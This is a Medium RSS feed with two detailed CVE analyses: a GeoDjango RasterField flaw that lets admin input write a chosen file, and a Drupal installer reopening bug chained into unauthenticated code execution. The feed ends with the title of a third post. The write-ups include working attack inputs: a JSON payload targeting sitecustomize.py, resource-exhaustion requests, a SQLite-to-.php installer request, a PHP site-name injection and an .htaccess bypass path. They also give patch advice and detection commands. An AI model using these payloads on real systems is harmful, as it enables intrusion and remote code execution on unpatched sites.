<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by WhitGuidance on Medium]]></title>
        <description><![CDATA[Stories by WhitGuidance on Medium]]></description>
        <link>https://medium.com/@guidancewhite?source=rss-6648f12dd50f------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*HxZBdMWnqX7yyW7V</url>
            <title>Stories by WhitGuidance on Medium</title>
            <link>https://medium.com/@guidancewhite?source=rss-6648f12dd50f------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 22:15:46 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@guidancewhite/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[[CVE-2026–124827] Django4Shell : One Request, One File Write]]></title>
            <link>https://medium.com/@guidancewhite/cve-2026-124827-django4shell-one-request-one-file-write-7b5b527d712e?source=rss-6648f12dd50f------2</link>
            <guid isPermaLink="false">https://medium.com/p/7b5b527d712e</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[django]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[WhitGuidance]]></dc:creator>
            <pubDate>Fri, 04 Dec 2026 22:01:01 GMT</pubDate>
            <atom:updated>2026-12-04T22:01:01.714Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*dctnpJtwjgcNWcry.png" /></figure><ul><li>CVE-2026–124827, nicknamed Django4Shell</li><li>Vulnerable component: django.contrib.gis.db.models.RasterField (GeoDjango)</li><li>Affected: Django 6.1 before 6.1.4, 6.0 before 6.0.11, 5.2 before 5.2.20–5.1, 5.0 and 4.2 were not evaluated</li><li>Fixed in: 6.1.4 / 6.0.11 / 5.2.20 (2026–12–02)</li><li>CVSS 3.1: 8.8 (High)</li><li>CWE-73 (External Control of File Name or Path)</li><li>Reported by Mohammed Fathy (Robusta Technology Group)</li></ul><p>What follows is one HTTP request, traced from the moment it arrives to the moment it leaves a file sitting on disk. On paper the request is a plain admin form submission. There is no database attack in it, no file-upload endpoint. By the end of it, though, content the attacker chose has been written to a path the attacker chose. Let’s follow it.</p><h3>The request arrives</h3><p>The attacker is already logged in with a staff account. The target is the admin add/change view for a model that declares a RasterField. RasterField only exists on the PostGIS backend, but — and this matters — it has no form field of its own. Field.formfield() falls back to a plain forms.CharField when no form_class is set, and the GIS admin mixin only checks isinstance(db_field, models.GeometryField); RasterField is a sibling of that class, not a subclass. So in the admin, this field renders as an ordinary text box.</p><p>Into that text box the attacker pastes the following JSON:</p><pre>{<br>  &quot;driver&quot;: &quot;EHdr&quot;,<br>  &quot;name&quot;: &quot;/app/sitecustomize.py&quot;,<br>  &quot;width&quot;: 64,<br>  &quot;height&quot;: 1,<br>  &quot;srid&quot;: 4326,<br>  &quot;nr_of_bands&quot;: 1,<br>  &quot;datatype&quot;: 1,<br>  &quot;origin&quot;: [0, 0],<br>  &quot;scale&quot;: [1, -1],<br>  &quot;bands&quot;: [{&quot;data&quot;: [105, 109, 112, 111, 114, 116, 32]}]<br>}</pre><p>It doesn’t matter yet what this JSON does. What matters is that this string, sitting in a form field, is now on its way to the server as POST /admin/app/rastermodel/add/.</p><h3>Stored, but nothing has happened yet</h3><p>The server’s first encounter with this value is in ModelForm._post_clean(), inside construct_instance(). What happens there is a plain assignment:</p><pre>setattr(instance, &quot;rast&quot;, &#39;{&quot;driver&quot;: &quot;EHdr&quot;, ...}&#39;)</pre><p>rast isn&#39;t an ordinary attribute — it&#39;s a descriptor called SpatialProxy. And its __set__ looks like this:</p><pre># django/contrib/gis/db/models/proxy.py — SpatialProxy (before the fix)<br>def __set__(self, instance, value):<br>    ...<br>    instance.__dict__[self.field.attname] = value   # stored as-is, no checks</pre><p>Worth pausing here. Why no checks? Performance. When GeoDjango pulls back a queryset of thousands of raster rows, it doesn’t want to eagerly convert every one of them into a GDAL object — that would be slow. So __set__ keeps the value as raw material to be converted later, and defers the actual conversion to whoever eventually <em>reads</em> it. A reasonable design — except that it splits &quot;storing a value&quot; and &quot;turning that value into a file&quot; into two separate events, and nothing in this snippet tells you when the second one happens.</p><h3>Validated, but reading is enough</h3><p>ModelForm.is_valid() calls instance.full_clean() from inside _post_clean(). full_clean() checks every model field in turn, and checking a field means reading it.</p><pre># django/db/models/base.py — Model.clean_fields()<br>for f in self._meta.fields:<br>    if f.name in exclude or f.generated:<br>        continue<br>    raw_value = getattr(self, f.attname)   # the descriptor&#39;s __get__ fires here</pre><p>That one getattr closes the gap between &quot;stored&quot; and &quot;turned into a file.&quot; SpatialProxy.__get__ takes the stored string and hands it to a loader function to produce the real GDAL object — and that loader is gdal.GDALRaster.</p><pre>def __get__(self, instance, cls=None):<br>    ...<br>    geo_obj = self._load_func(geo_value)   # == GDALRaster(the JSON string we stored earlier)</pre><p>Laid out as a call stack:</p><pre>POST /admin/app/rastermodel/add/<br>  └─ ModelForm.is_valid()<br>      └─ _post_clean()<br>          ├─ construct_instance()        # setattr → __set__, still harmless<br>          └─ instance.full_clean()<br>              └─ clean_fields()<br>                  └─ getattr(instance, &quot;rast&quot;)   # __get__ fires<br>                      └─ GDALRaster(dict)        # danger starts here</pre><p>Notice what’s missing: model.save() has not been called. No database connection, no table, no PostGIS extension appears anywhere in this chain. Validation — supposedly the safest step in the whole pipeline — is the step where the actual damage happens.</p><h3>Where GDALRaster decides to write</h3><p>GDALRaster.__init__ branches on input type, and a dict takes this path:</p><pre># django/contrib/gis/gdal/raster/source.py — GDALRaster.__init__ (dict branch)<br>elif isinstance(ds_input, dict):<br>    self._write = 1<br>    driver = Driver(ds_input.get(&quot;driver&quot;, &quot;MEM&quot;))   # in-memory by default<br>    ...<br>    self._ptr = capi.create_ds(<br>        driver._ptr,<br>        force_bytes(ds_input.get(&quot;name&quot;, &quot;&quot;)),       # this string becomes the path<br>        ds_input[&quot;width&quot;], ds_input[&quot;height&quot;],<br>        ...<br>    )</pre><p>The branch that decides everything is driver. If it&#39;s left at the default, MEM, name is just a label — nothing touches disk. The attacker set driver to &quot;EHdr&quot; instead. The instant that happens, name is promoted from a label to an actual file path, and the entity making that decision is not the server — it&#39;s the attacker-supplied input itself. Whether this request writes a file at all is the attacker&#39;s call, not Django&#39;s.</p><p>EHdr (ESRI .hdr Labelled) is a raw binary raster driver that ships in essentially every standard GDAL build. GDAL&#39;s own creation code (frmts/raw/ehdrdataset.cpp) shows exactly why that matters:</p><pre>VSILFILE *fp = VSIFOpenL(pszFilename, &quot;wb&quot;);   // opens the given name verbatim, no extension added<br>VSIFWriteL(bandBytes, ...)                     // band data written as-is</pre><p>No extension gets appended. Put /app/sitecustomize.py in name, and a file by that exact name is created. With datatype: 1 (GDT_Byte), the band array is just a byte array, so whatever goes in there can be Python source code. Decode the payload&#39;s bands[0].data array, [105, 109, 112, 111, 114, 116, 32], as ASCII and you get &quot;import &quot; — in a real attack, that array holds the full byte sequence of a reverse shell or a backdoor.</p><h3>The path, drawn out</h3><p>The chain so far — one request, stored, read during validation, turned into a file — looks like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*hzXZ5YsswiorU1Yw.png" /></figure><h3>After the file lands, it’s Python’s problem</h3><p>The choice of /app/sitecustomize.py isn&#39;t arbitrary. That file is <strong>imported automatically at interpreter startup, before any application code runs</strong> — whether it sits in the working directory or anywhere else on sys.path. Dropping a .pth file into site-packages achieves the same thing.</p><p>So the attacker doesn’t even need to wait around. A gunicorn worker restart, a worker fork during a rolling deploy, a runserver reload triggered by a code change, or a single manage.py cron run from the same codebase — any one of these is enough for the attacker&#39;s code to execute with the privileges of the web server&#39;s OS user. The same primitive can just as easily overwrite application source or drop a web shell into a static directory.</p><iframe src="https://cdn.embedly.com/widgets/media.html?url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Do4GUAF-PL7c&amp;type=text%2Fhtml&amp;schema=youtube&amp;display_name=YouTube&amp;src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fo4GUAF-PL7c" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/9df435c018f7b9f033f52b98d460dc22/href">https://medium.com/media/9df435c018f7b9f033f52b98d460dc22/href</a></iframe><h3>Why this is the third time this sink got patched</h3><p>This isn’t the first fix in this area — it’s the third.</p><ul><li><strong>2026–08–04 (CVE-2026–15307)</strong>: closed the <strong>query (lookup)</strong> path — filter(rast=...) — where dict/str values could flow straight into GDALRaster. The advisory at the time stated plainly that &quot;assignments to model fields are unaffected and still accept these input types.&quot;</li><li><strong>2026–10–06 (CVE-2026–87890)</strong>: closed a bytes-value bypass on that same lookup path, where a crafted VRT document could trigger an outbound request. The advisory described it as something &quot;overlooked in the fix for CVE-2026-15307.&quot;</li><li><strong>2026–12–02 (this CVE)</strong>: closes the <strong>assignment path</strong> — the exact path August’s advisory said was unaffected.</li></ul><p>August’s fix locked the door on values flowing through a query, on the premise that assigning a value to a model field was the application’s own responsibility to validate. This third patch is a quiet admission that the premise didn’t hold up in practice. GDALRaster(ds_input) has no way to know, on its own, whether its input is trustworthy — so defenses keep getting bolted onto whichever caller is discovered to be missing one.</p><h3>What the patch actually changes</h3><p>The patch (main commit a3934abd, plus three backports) adds two different kinds of defense to a single class:</p><pre>class RasterField(BaseSpatialField):<br>    def __init__(self, *args, **kwargs):<br>        kwargs.setdefault(&quot;editable&quot;, False)   # (1) excluded from forms by default<br><br>def contribute_to_class(self, cls, name, **kwargs):<br>        ...<br>        setattr(cls, self.attname,<br>                SpatialProxy(gdal.GDALRaster, self, self.init_raster))   # (2) new read hook<br>    def init_raster(self, ds_input):<br>        value = gdal.GDALRaster._preprocess_input(ds_input)<br>        if (isinstance(value, dict)<br>                and (driver := value.get(&quot;driver&quot;, &quot;MEM&quot;)) is not None<br>                and Driver(driver).name != &quot;MEM&quot;):<br>            raise GDALException(<br>                &quot;Only in-memory (MEM) data definitions can be assigned to &quot;<br>                f&quot;RasterField (got: {driver!r}). Wrap the definition in &quot;<br>                &quot;GDALRaster() to use another driver.&quot;)<br>        return gdal.GDALRaster(value)</pre><p>Map this back onto the call stack we traced and it’s clear exactly where each piece breaks the chain. With editable=False, a ModelForm no longer includes the field at all — so back at &quot;the request arrives,&quot; there&#39;s no text box left for the attacker to put a value into. But some code paths call full_clean() directly on an instance, where the validation-exclusion list is empty and that getattr still fires — that&#39;s the path init_raster closes. Now, at &quot;validated, but reading is enough,&quot; the descriptor no longer silently passes through a dict/JSON with a non-default driver; it raises instead. It doesn&#39;t matter whether the caller is the admin, a serializer, or a management command — the same check applies.</p><p>What the patch doesn’t close is just as clear. The string branch of GDALRaster.__init__ checks os.path.exists() to decide whether it&#39;s looking at a local path, but a /vsicurl/ or /vsizip/ prefix skips that check entirely and fires off a network request. This patch only restricts the driver on a dict, so a string input can still cause SSRF — the advisory says exactly that. And because editable=False is now the default, any existing application that edited rasters through the admin quietly loses that ability on upgrade, which is worth checking before deploying.</p><h3>What to do now</h3><p>If you can patch, that’s the first move.</p><pre>pip install -U &quot;Django&gt;=6.1.4&quot;      # &gt;=6.0.11 on the 6.0 line, &gt;=5.2.20 on 5.2</pre><p>If an immediate upgrade isn’t possible, this bug needs three things at once — the field exposed in a form, a value assigned, that value read — so cutting any one of them helps.</p><ul><li>Remove RasterField from the admin via exclude/readonly_fields, and from ModelForm.Meta.exclude.</li><li>If a writable serializer accepts the field, make it read-only, or reject incoming dict/JSON during validation.</li><li>Run the process with GDAL_SKIP=EHdr. Treat this as a secondary measure only — GTiff, PNG, HFA and other writable drivers are still there.</li><li>In containers, mount the application directory and site-packages read-only, so there&#39;s nowhere for a sitecustomize.py or .pth file to land.</li></ul><p>There’s one detection clue worth knowing. The EHdr driver writes a sidecar .hdr text file next to the data file. A successful attack is likely to leave a stray .hdr file — containing things like ncols, nrows, cellsize — somewhere in the application directory.</p><pre>find /app /srv -xdev -name &#39;*.hdr&#39; -newermt &#39;-14 days&#39; -exec head -c 200 {} \;<br>find / -xdev -name &#39;sitecustomize.py&#39; -newer /app/manage.py 2&gt;/dev/null</pre><p>A sitecustomize.py can legitimately exist, so the question isn&#39;t whether one is there but <strong>when it appeared and who wrote it</strong>. Cross-reference against staff-account admin POSTs from the same window, worker restarts, and any unexpected outbound process from the container.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7b5b527d712e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[CVE-2026–132165] (Fail2Install): How “Just a Resource Shortage]]></title>
            <link>https://medium.com/@guidancewhite/cve-2026-132165-fail2install-how-just-a-resource-shortage-4e3f5d6d57b3?source=rss-6648f12dd50f------2</link>
            <guid isPermaLink="false">https://medium.com/p/4e3f5d6d57b3</guid>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[database]]></category>
            <category><![CDATA[cve]]></category>
            <dc:creator><![CDATA[WhitGuidance]]></dc:creator>
            <pubDate>Tue, 01 Dec 2026 21:01:02 GMT</pubDate>
            <atom:updated>2026-12-01T21:01:02.596Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*anWooQAILnzpTugh.png" /></figure><p><strong>CVSS 9.8 (Critical)</strong> · <strong>CWE-636 (Not Failing Securely)</strong> · <strong>Unauthenticated Remote Code Execution</strong> · <strong>Added to CISA KEV (2026–11–24)</strong></p><ul><li><strong>Affected versions</strong>: Drupal 8.9, 9, 10, 11 (Drupal 7 and pre-8.9 releases are not affected)</li><li><strong>Patched versions</strong>: 11.4.13 / 11.3.22 / 10.6.22 (2026–11–18, SA-CORE-2026–017, commit a15a19b)</li><li><strong>Discovery / analysis</strong>: Anthropic OSS Scanner (initial report, ANT-2026-GMRPK0BU) → independently rediscovered by Searchlight Cyber researchers (Kevin Gervot, Adam Kues), who published a technical write-up under the name “Fail2Install”</li><li><strong>Real-world exploitation</strong>: The Drupal Security Team confirmed signs of exploitation on live sites starting around 2026–11–19 19:00 UTC — one day after the patch shipped</li></ul><h3>TL;DR</h3><blockquote><em>Drupal’s installer (</em><em>install.php) decides whether a site is &quot;already installed&quot; by testing a database connection. </em><strong><em>If you deliberately exhaust ordinary server resource limits</em></strong><em> — open file count, concurrent DB connections, or ephemeral TCP ports — that decision flips. As a result, the installer reopens on a live, running site. The attacker then picks SQLite as the database driver, sets the database file&#39;s extension to </em><em>.php, and gets Drupal to write a </em><strong><em>fake database file that contains attacker code</em></strong><em> inside the web root. Finally, a loose regular expression in Apache&#39;s </em><em>.htaccess is bypassed to execute that file.</em></blockquote><p>The core idea: a condition normally treated purely as an availability problem (DoS) is turned, through Drupal’s <strong>error-handling logic</strong>, into a stepping stone for <strong>authentication bypass plus remote code execution</strong>.</p><h3>1. Why the Installer Can Reopen — install.php’s Three-Stage Check</h3><p>On every request, Drupal’s /core/install.php makes <strong>a total of three</strong> database connection attempts to determine &quot;is this site already installed?&quot; The problem lies in how the results of those three attempts are combined.</p><h3>Check #1: Basic connection test (failure doesn’t stop installation)</h3><pre>$install_state[&#39;database_verified&#39;] = install_verify_database_settings($site_path);<br><br>function install_verify_database_settings($site_path) {<br>  if ($database = Database::getConnectionInfo()) {<br>    $database = $database[&#39;default&#39;];<br>    $settings_file = &#39;./&#39; . $site_path . &#39;/settings.php&#39;;<br>    $errors = install_database_errors($database, $settings_file);<br>    if (empty($errors)) {<br>      return TRUE;<br>    }<br>  }<br>  return FALSE;<br>}</pre><p>In plain terms: Drupal first tries to connect using the DB credentials stored in settings.php. If that fails, $install_state[&#39;database_verified&#39;] becomes FALSE — but <strong>the installation process does not stop here.</strong> It&#39;s simply recorded as &quot;DB connection not yet confirmed.&quot;</p><p>Internally, the actual connection is performed by the following connect() function.</p><pre>protected function connect() {<br>  try {<br>    Database::setActiveConnection();<br>    Database::getConnection();<br>    $this-&gt;pass(&#39;Drupal can CONNECT to the database ok.&#39;);<br>  }<br>  catch (\Exception $e) {<br>    $this-&gt;fail(/* ... */);<br>    return FALSE;<br>  }<br>  return TRUE;<br>}</pre><p>If the database server throws something like SQLSTATE[HY000] [1040] Too many connections here, it&#39;s simply recorded as a failure in the catch block, and execution quietly moves on.</p><h3>Check #2: “Is this an existing install?” — the real problem</h3><pre>$existing_install = FALSE;<br>if (Database::getConnectionInfo()) {<br>  try {<br>    $existing_install = Database::getConnection()-&gt;schema()-&gt;tableExists($table);<br>  }<br>  // Don&#39;t throw an error even if the query fails — the DB might not be ready yet.<br>  catch (\Exception) {<br>  }<br>}<br>if ($existing_install) {<br>  throw new AlreadyInstalledException(\Drupal::service(&#39;string_translation&#39;));<br>}</pre><p>What this code is trying to do: “if Drupal’s tables already exist in the DB → throw AlreadyInstalledException and block installation.&quot; Under normal conditions this is perfectly reasonable logic.</p><p>But as the comment itself admits, <strong>when the query fails, the exception is silently swallowed.</strong> If Check #1 has just suffered a DB connection failure, this second tableExists() call is likely to fail for exactly the same resource-exhaustion reason. From the code&#39;s perspective, though, there&#39;s no way to distinguish &quot;the query failed&quot; from &quot;the table doesn&#39;t exist&quot; — <strong>both end up setting </strong><strong>$existing_install = FALSE</strong> (i.e., &quot;this is a fresh, uninstalled site&quot;).</p><p>→ <strong>This is the moment a perfectly healthy, running production site gets misjudged as “not yet installed.”</strong></p><h3>Check #3: The final gate — succeed here, and it’s game over</h3><pre>$errors = install_database_errors($database, $settings_file);<br><br>if (count($errors)) {<br>  $requirements[&#39;database_install_errors&#39;] = [<br>    &#39;title&#39; =&gt; t(&#39;Database settings&#39;),<br>    &#39;description&#39; =&gt; SiteSettingsForm::getDatabaseErrorsTemplate($errors),<br>    &#39;severity&#39; =&gt; RequirementSeverity::Error,<br>  ];<br>}<br>$severity = RequirementSeverity::maxSeverityFromRequirements($requirements);<br>if ($severity === RequirementSeverity::Error) {<br>  $build[&#39;#title&#39;] = t(&#39;Requirements problem&#39;);<br>  $build[&#39;#suffix&#39;] = t(&#39;Check the messages and &lt;a href=&quot;:url&quot;&gt;try again&lt;/a&gt;.&#39;, [&#39;:url&#39; =&gt; drupal_requirements_url(https://medium.com/$severity)]);<br>  return $build;<br>}</pre><p>Drupal makes one more connection attempt here. If it fails again, a “Requirements problem” screen appears and the process stops. But <strong>if this attempt succeeds</strong>, the error list is empty, the condition above is passed, and <strong>Drupal starts a brand-new installation process from scratch.</strong></p><p>In short, the attacker needs exactly one condition to hold:</p><blockquote><strong><em>Check #1 FAILS → Check #2 FAILS (silently ignored) → Check #3 SUCCEEDS</em></strong></blockquote><p>If, within the short window of a single HTTP request handling these three DB connection attempts, the exhausted resource (a DB connection slot or a TCP port) happens to free up “just in time” for the third attempt, this exact sequence reproduces itself.</p><h3>2. Turning “the Server Is Just Busy” Into a Security Boundary Bypass — Three Resource-Exhaustion Techniques</h3><p>The Searchlight Cyber researchers first demonstrate that this pattern isn’t unique to Drupal — it’s a <strong>general attack technique applicable to any code that catches a resource-limit error and falls back to an unsafe default behavior.</strong> Consider this illustrative example:</p><pre>files = {}<br>DEFAULT_CONFIG = {&quot;requires_auth&quot;: False}<br><br>@app.get(&quot;/file/{key}&quot;)<br>def file(key: str):<br>    files[key] = open(&quot;data.txt&quot;, encoding=&quot;utf-8&quot;)  # file descriptors keep piling up<br>    return files[key].read()<br>@app.get(&quot;/admin&quot;)<br>def admin():<br>    try:<br>        with open(&quot;config.json&quot;, encoding=&quot;utf-8&quot;) as config_file:<br>            config = json.load(config_file)<br>    except OSError:<br>        config = DEFAULT_CONFIG   # falls back to &quot;no auth required&quot; if the file can&#39;t be opened!<br>    return {&quot;access&quot;: &quot;denied&quot; if config[&quot;requires_auth&quot;] else &quot;admin&quot;}</pre><p>Repeatedly calling /file/{key} with different key values piles up file descriptors until the process hits its RLIMIT_NOFILE (the open-file-count limit). Once there, calling /admin triggers an EMFILE: Too many open files error while trying to open config.json, and except OSError catches it, falling through to the <strong>unsafe default</strong> requires_auth: False. This is the archetype of the pattern that &quot;turns an availability problem into a security-boundary-bypass primitive.&quot;</p><p>The three resources actually exploited against Drupal are:</p><h3>① EMFILE — the open-file-count limit</h3><p>RLIMIT_NOFILE caps how many files (including sockets and pipes) a process can have open simultaneously. systemd&#39;s defaults are soft 1,024 / hard 524,288, and most runtimes — PHP (Apache/FPM), Python, Ruby, and more — inherit these defaults as-is.</p><h3>② The DB connection limit (max_connections) — the key lever for this attack</h3><p>DatabaseDefault connection limitPostgreSQL 18.6 (Docker)100 (including 3 reserved slots → 97 effectively usable)MySQL 8.4.9 (Docker)151 (including 1 reserved for the admin)</p><p>Meanwhile, on the web-server/runtime side, concurrency looks like this:</p><p>Deployment combinationMax concurrent workersPHP 8.5 + Apache (mod_php, prefork)up to 150PHP 8.5-FPMpm.max_children = 5 by default</p><p>This is exactly why <strong>Apache + PostgreSQL</strong> turns out to be the easiest combination to attack. Since Apache’s worker maximum (150) exceeds PostgreSQL’s connection slot count (100), <strong>simply firing off more than 100 concurrent requests</strong> is enough to reproduce a SQLSTATE[HY000] [1040] Too many connections error.</p><h3>③ TCP TIME_WAIT — the fallback lever when the worker count is low, as with PHP-FPM</h3><p>PHP-FPM only has 5 workers by default, so concurrent requests alone can’t exhaust 150 DB connections. Instead, the researchers leveraged <strong>Linux TCP’s </strong><strong>TIME_WAIT state</strong>. Whichever side closes a TCP connection first (sends the FIN first) holds that connection tuple in TIME_WAIT for roughly 60 seconds, and Linux&#39;s default ephemeral port range is only 32768–60999 (28,232 ports). By continuously creating about 471 new connections per second, enough to fill that entire port pool with TIME_WAIT entries, any subsequent new connection out to the database fails with SQLSTATE[HY000] [2002] Cannot assign requested address.</p><h3>3. Concrete Triggering Methods for Each Drupal Deployment Combination</h3><h3>Apache + PostgreSQL (the easiest)</h3><p>An <strong>asset route</strong> was used as a convenient endpoint for holding a connection open for a long time.</p><pre>GET /sites/default/files/css/css_x.css?theme=olivero&amp;delta=0&amp;language=en&amp;include=&lt;compressed-data&gt;&amp;_format=json HTTP/1.1<br>Host: &lt;drupal-host&gt;<br>Accept-Encoding: identity</pre><p>This endpoint decompresses the value of the include parameter and reflects it directly into an error message; using compression, a small request can be made to produce a large response (= more time spent holding the DB connection open). By tuning the volume of concurrent requests to sit right around PostgreSQL&#39;s max_connections, you can time it so Checks #1 and #2 fail together, and Check #3 immediately after succeeds.</p><h3>Apache + MySQL</h3><p>MySQL has a more generous connection limit than PostgreSQL (151), so reaching the limit purely by concurrency alone is harder. Instead, the researchers found <strong>a way to make a single request consume two DB connections.</strong> Drupal’s logging module (dblog) contains the following retry logic:</p><pre>$context[&#39;referer&#39;] = $request-&gt;headers-&gt;get(&#39;Referer&#39;, &#39;&#39;);<br>// ...<br>try {<br>  $this-&gt;connection-&gt;insert(&#39;watchdog&#39;)-&gt;fields([ /* ... */ &#39;referer&#39; =&gt; $context[&#39;referer&#39;] /* ... */ ])-&gt;execute();<br>}<br>catch (\Exception $e) {<br>  if (($e instanceof DatabaseException || $e instanceof \PDOException) &amp;&amp;<br>      $this-&gt;connection-&gt;getTarget() != self::DEDICATED_DBLOG_CONNECTION_TARGET) {<br>    // Open a new, &quot;separate&quot; dedicated connection and retry!<br>    $key = $this-&gt;connection-&gt;getKey();<br>    $info = Database::getConnectionInfo($key);<br>    Database::addConnectionInfo($key, self::DEDICATED_DBLOG_CONNECTION_TARGET, $info[&#39;default&#39;]);<br>    $this-&gt;connection = Database::getConnection(self::DEDICATED_DBLOG_CONNECTION_TARGET, $key);<br>    $this-&gt;log($level, $message, $context);<br>  }<br>  else {<br>    throw $e;<br>  }<br>}</pre><p>If the logged Referer header value contains a <strong>byte that&#39;s invalid in UTF-8 (</strong><strong>0xFF)</strong>, MySQL rejects the INSERT with an Incorrect string value error, because of the utf8mb4 charset Drupal uses. The code detects this failure and opens one additional dedicated logging connection — entirely separate from the original — to retry the write, meaning <strong>each request consumes two DB connections</strong> instead of one. This effectively halves the number of requests needed, making it realistic to exhaust even MySQL&#39;s 151-connection limit.</p><h3>PHP-FPM + PostgreSQL/MySQL (the trickiest)</h3><p>With only 5 workers, PHP-FPM can’t fill up connection limits through concurrency alone. So the TCP TIME_WAIT exhaustion technique is used instead. The researchers initially tried a slow-responding endpoint, found the benchmark results disappointing, and reportedly used AI assistance to find a <strong>much faster endpoint</strong>:</p><pre>POST /core/authorize.php HTTP/1.1<br>Host: &lt;drupal-host&gt;<br>X-HTTP-Method-Override: GET<br>Content-Length: 0</pre><p>When the X-HTTP-Method-Override header tries to turn the request into a GET, one of Drupal&#39;s security modules immediately rejects it and returns an empty HTTP 400 response right after opening a DB connection. This lets the attacker cycle through TCP connect/disconnect at hundreds of iterations per second, making it practically possible to fill all 28,232 ephemeral ports with TIME_WAIT entries even on a modest 4-vCPU server.</p><h3>4. From a Reopened Installer to Code Execution</h3><p>Walking through the “textbook” path — reinstalling, creating a fresh admin account, and installing modules — is possible, but the researchers found a <strong>far more direct shortcut</strong>: the <strong>SQLite driver</strong> supported by Drupal’s installer.</p><h3>Pointing the SQLite database path at a .php file</h3><pre>public static function open(array &amp;$connection_options = []) {<br>  // ...<br>  $sqlite = new SqliteConnection(<br>    &#39;sqlite:&#39; . $connection_options[&#39;database&#39;],<br>    &#39;&#39;, &#39;&#39;, $connection_options[&#39;pdo&#39;]<br>  );<br>}</pre><p>The SQLite connection string uses the user-supplied database path <strong>without any validation whatsoever.</strong> Since the installer lets users supply this path directly, a request like the following creates a SQLite database file with a .php extension inside the web root:</p><pre>POST /core/install.php?langcode=en&amp;profile=standard HTTP/1.1<br>Content-Type: application/x-www-form-urlencoded<br><br>driver=Drupal%5Csqlite%5CDriver%5CDatabase%5Csqlite&amp;...[database]=%2Fopt%2Fdrupal%2Fweb%2Fmodules%2Fdrupal-rce.php&amp;...</pre><p>Because SQLite’s own file format is a simple binary structure, this produces an odd hybrid: a file that is simultaneously a valid database file and, as far as the web server is concerned, “a .php file.&quot;</p><h3>Planting PHP code via the site name field</h3><p>Once installation reaches the “site configuration” step, the site name the user supplies is written directly into the SQLite (.php) file that was just created.</p><pre>POST &lt;installer-configuration-url&gt; HTTP/1.1<br>Cookie: &lt;installer-session&gt;<br><br>site_name=%3C%3Fphp+echo+%22RCE%22%3B+__halt_compiler%28%29%3B&amp;...</pre><p>The PHP code &lt;?php echo &quot;RCE&quot;; __halt_compiler(); ?&gt; placed into site_name is written byte-for-byte into the SQLite file. __halt_compiler() is used to make sure the PHP parser doesn&#39;t choke on the binary SQLite garbage that follows — it <strong>forces PHP parsing to stop entirely</strong> at that point.</p><h3>Breaking through .htaccess to get execution</h3><p>Drupal’s default .htaccess only allows execution of PHP files directly under /core (install.php, authorize.php, etc.), and blocks every other PHP file from executing.</p><pre># install.php, authorize.php etc. directly under /core are allowed to execute<br>RewriteCond %{REQUEST_URI} !/core/[^/]*\.php$<br><br># Every other .php request that doesn&#39;t match the above is blocked<br>RewriteRule &quot;^(.+/.*|autoload)\.php($|/)&quot; - [F]</pre><p>The problem is that the condition !/core/[^/]*\.php$ only checks <strong>the end of the URI</strong> and doesn&#39;t care about the start of the path. That makes a request like this possible:</p><pre>GET /modules/drupal-rce.php/core/x.php HTTP/1.1</pre><p>Since this URI <strong>ends with</strong> /core/x.php, .htaccess mistakes it for an &quot;allowed core PHP file&quot; and doesn&#39;t block it. But the file Apache actually executes is the one at the beginning of the path, /modules/drupal-rce.php, while the trailing /core/x.php is just treated as <strong>PATH_INFO</strong> (extra path information appended after the actual file path). In the end, the drupal-rce.php file the attacker planted earlier (which looks like a SQLite DB but contains PHP code inside) runs as-is, completing <strong>unauthenticated remote code execution</strong>.</p><iframe src="https://cdn.embedly.com/widgets/media.html?url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DH1qbfN1pnLY&amp;type=text%2Fhtml&amp;schema=youtube&amp;display_name=YouTube&amp;src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FH1qbfN1pnLY" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/8a0c2334f76f42fa340b8270bc1819a3/href">https://medium.com/media/8a0c2334f76f42fa340b8270bc1819a3/href</a></iframe><h3>5. Why Older Versions (Drupal 7, pre-8.9) Are Not Affected</h3><p>This whole chain stems from a design change introduced in Drupal 8.9: “if an error occurs, don’t trust existing configuration — assume a fresh install is needed.” Older versions behave differently.</p><ul><li><strong>Drupal 7</strong>: Even if DB verification fails, if settings.php already contains DB configuration, installation is blocked outright.</li><li><strong>Pre-8.9</strong>: Likewise, on DB verification failure, if stored connection information exists, an AlreadyInstalledException is thrown immediately.</li></ul><p>In other words, older versions were fail-closed by design — trusting <strong>“whether a local settings file exists”</strong> as the basis for trust — whereas the vulnerable versions had shifted to a fail-open design that trusts <strong>“the result of a database query made right now”</strong> instead.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4e3f5d6d57b3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[CVE-2026–116331] Deep Dive: How One SORTOP Handed Over PostgreSQL]]></title>
            <link>https://medium.com/@guidancewhite/cve-2026-116331-deep-dive-how-one-sortop-handed-over-postgresql-e9d4194eb30e?source=rss-6648f12dd50f------2</link>
